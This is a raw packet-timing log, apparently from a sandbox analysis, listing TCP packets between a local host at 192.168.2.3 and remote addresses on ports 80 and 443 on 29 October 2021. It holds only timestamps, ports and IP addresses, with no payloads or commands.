Oct 29, 2021 14:11:13.285604000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285643101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285680056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285717964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285756111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285793066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285830975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285868883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285904884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285942078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.285979986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286017895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286056042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286092043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286128998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286165953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286166906 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.286204100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286241055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286278009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286317110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286355019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286391020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286427975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286465883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286501884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286540031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286595106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286636114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286674976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286710978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286747932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286786079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286822081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286859035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286895990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286933899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.286972046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287008047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287045956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287084103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287118912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287157059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287170887 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.287194967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287233114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287272930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287307978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287345886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287383080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287467003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287503958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287542105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287597895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287688971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287725925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287764072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287802935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287838936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287877083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.287914038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.288177013 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.289191961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.289237022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.289278030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.289316893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.289352894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.289390087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.289427042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.289462090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.289500952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290141106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290157080 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.290179014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290216923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290256023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290292025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290328979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290366888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290402889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290572882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290611029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.290940046 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.290991068 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.291146994 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.291155100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.291223049 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.291286945 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.291323900 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.291441917 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.292160988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.293144941 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.294157982 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.295150042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.296144962 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.297153950 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.298171043 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.299155951 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.299179077 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.300144911 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.300163984 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.301142931 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.301156044 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.302166939 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.302186966 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.302206039 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.302261114 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.303240061 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.303257942 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.304150105 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.304164886 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.304229975 CEST	443	50112	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.305140018 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.306147099 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.307178974 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.308166981 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.308490992 CEST	50112	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.321543932 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.321597099 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.326448917 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.326497078 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.327163935 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.327416897 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.327440023 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.340200901 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.354751110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.354800940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.354840040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.354881048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.354917049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.354954004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.354993105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355030060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355067015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355104923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355142117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355180979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355195999 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.355220079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355258942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355298042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355334044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355351925 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.355371952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355412006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355451107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355489969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355525970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355564117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355602026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355638981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355674982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355711937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355750084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355788946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355824947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355863094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355901003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355937958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.355974913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356012106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356050014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356089115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356125116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356162071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356184006 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.356199026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356235981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356273890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356311083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356348991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356388092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356422901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356461048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356498003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356534958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356573105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356611013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356648922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356687069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356723070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356791019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356829882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356901884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356941938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.356977940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357016087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357053995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357091904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357131004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357161045 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.357167006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357204914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357243061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357279062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357316971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357353926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357392073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.357431889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358167887 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.358520985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358561993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358601093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358638048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358675003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358712912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358747959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358787060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358824968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358863115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.358990908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359031916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359069109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359106064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359144926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359169960 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.359179974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359219074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359256029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359292030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359328985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359368086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359405994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359445095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359481096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359519958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359556913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359592915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359617949 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.359631062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359656096 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.359668970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359700918 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.359708071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.359711885 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.359738111 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.359765053 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.359975100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360013962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360053062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360061884 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.360090017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360129118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360142946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.360167980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360203981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360236883 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.360244036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360284090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360321045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.360987902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.361150026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361190081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361227989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361264944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361303091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361340046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361377954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361417055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361453056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.361490011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362046003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362085104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362121105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362159014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362174034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.362195969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362232924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362270117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362307072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362344980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362384081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.362983942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363023996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363063097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363099098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363137007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363173962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363177061 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.363209963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363248110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363284111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.363322020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364121914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364160061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364166021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.364197969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364237070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364273071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364310026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364347935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364383936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.364650965 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.365019083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365102053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365128040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365143061 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.365151882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365176916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365202904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365226984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365237951 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.365251064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365276098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365298986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.365324974 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.365355968 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.365911007 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.366188049 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.369030952 CEST	50113	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.369088888 CEST	443	50113	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.375089884 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.404105902 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.404148102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.407282114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.407336950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.408163071 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.424979925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425035000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425075054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425112009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425149918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425182104 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.425189018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425228119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425266981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425375938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425415993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425456047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425491095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425529003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425566912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.425602913 CEST	80	50094	193.56.146.214	192.168.2.3
